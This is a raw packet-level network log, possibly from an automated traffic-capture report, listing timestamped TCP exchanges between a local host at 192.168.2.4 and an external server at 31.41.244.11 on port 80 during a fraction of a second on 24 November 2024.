Nov 24, 2024 12:24:17.611813068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.611843109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.612610102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.612618923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.612654924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.613413095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.613455057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.613537073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.613581896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.614146948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.614187956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.614209890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.614253998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.615189075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.615231037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.615338087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.615377903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.615866899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.615904093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.616048098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.616091967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.616728067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.616774082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.616916895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.616959095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.617470980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.617512941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.617655993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.617697001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.618388891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.618432045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.618448973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.618490934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.619092941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.619137049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.619247913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.619290113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.619930029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.619975090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.620037079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.620074987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.621963024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622004032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.622127056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622170925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.622668028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622678041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622688055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622699022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.622706890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.622737885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.623400927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.623450041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.623594999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.623639107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.624239922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.624285936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.781565905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.781641960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.781657934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.781696081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.781944036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.781994104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.782027960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.782075882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.782752991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.782820940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.782828093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.782870054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.783586025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.783634901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.783703089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.783766985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.784482956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.784533024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.784672976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.784720898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.785298109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.785346031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.785442114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.785487890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.786113977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.786161900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.786293983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.786341906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.787015915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.787067890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.787147045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.787193060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.787791967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.787808895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.787844896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.787862062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.788636923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.788682938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.788785934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.788832903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.789465904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.789511919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.789532900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.789577007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.790262938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.790311098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.790389061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.790437937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.791115999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.791168928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.791213036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.791258097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.791997910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.792046070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.792136908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.792184114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.792840958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.792882919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.792891026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.792918921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.793629885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.793673992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.793725967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.793768883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.794481039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.794528008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.794595957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.794642925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.795294046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.795378923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.795469046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.795502901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.796128035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.796178102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.796253920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.796298981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.796958923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.797009945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.797061920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.797106981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.797801971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.797852993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.797905922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.798012018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.798661947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.798707962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.798783064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.798826933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.799479961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.799524069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.799647093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.799690008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.800324917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.800368071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.800441980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.800483942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.801151991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.801194906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.801227093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.801271915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.802050114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.802095890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.802122116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.802161932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.802841902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.802908897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.802932024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.802975893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.803692102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.803735018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.803767920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.803809881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.804502010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.804550886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.804630995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.804672956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.805341005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.805382967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.805535078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.805573940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.806175947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.806227922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.806288004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.806328058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.807013988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.807065010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.807126045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.807166100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.807868958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.807914972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.807985067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.808032990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.808689117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.808748007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.808881044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.808926105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.809503078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.809546947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.809617996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.809658051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.810379982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.810430050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.810540915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.810604095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.811194897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.811213017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.811243057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.811254978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.812077045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.812127113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.812146902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.812186003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.812860966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.812927961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.812952995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.812990904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.813694954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.813752890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.813822031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.813865900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.814528942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.814580917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.814647913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.814692974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.815363884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.815427065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.815474033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.815520048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.816196918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.816252947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.816314936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.816363096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.817040920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.817095995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.817146063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.817192078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.817900896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.817955017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.818017960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.818058014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.818727016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.818778038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.818798065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.818840981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.819549084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.819597006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.819643974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.819688082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.820384026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.820430994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.820480108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.820525885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.821247101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.821295023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.821317911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.821362019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.822076082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.822149038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.822190046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.822254896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.822912931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.822981119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.823003054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.823045969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.823757887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.823805094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.823935032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.823982000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.824558020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.824600935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.824666977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.824719906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.825376987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.825428963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.984639883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.984707117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.984733105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.984776974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.984946012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.984989882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.985069990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.985115051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.985807896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.985893011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.985918999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.985956907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.986679077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.986725092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.986802101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.986845970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.987627983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.987674952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.987785101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.987829924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.988399029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.988445997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.988502979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.988544941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.989136934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.989180088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.989234924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.989273071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.989981890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.990057945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.990185976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.990227938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.990868092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.990916967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.990941048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.990978003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.991627932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.991673946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.991740942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.991786003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.992532969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.992573977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.992609978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.992651939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.993354082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.993397951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.993473053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.993515968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.994179964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.994240999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.994302034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.994340897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.994997025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.995039940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.995137930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.995183945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.995873928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.995918989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.995999098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.996071100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.996856928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.996903896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.996927023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.996974945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.997656107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.997704029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.997791052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.997836113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.998336077 CET	80	49765	31.41.244.11	192.168.2.4
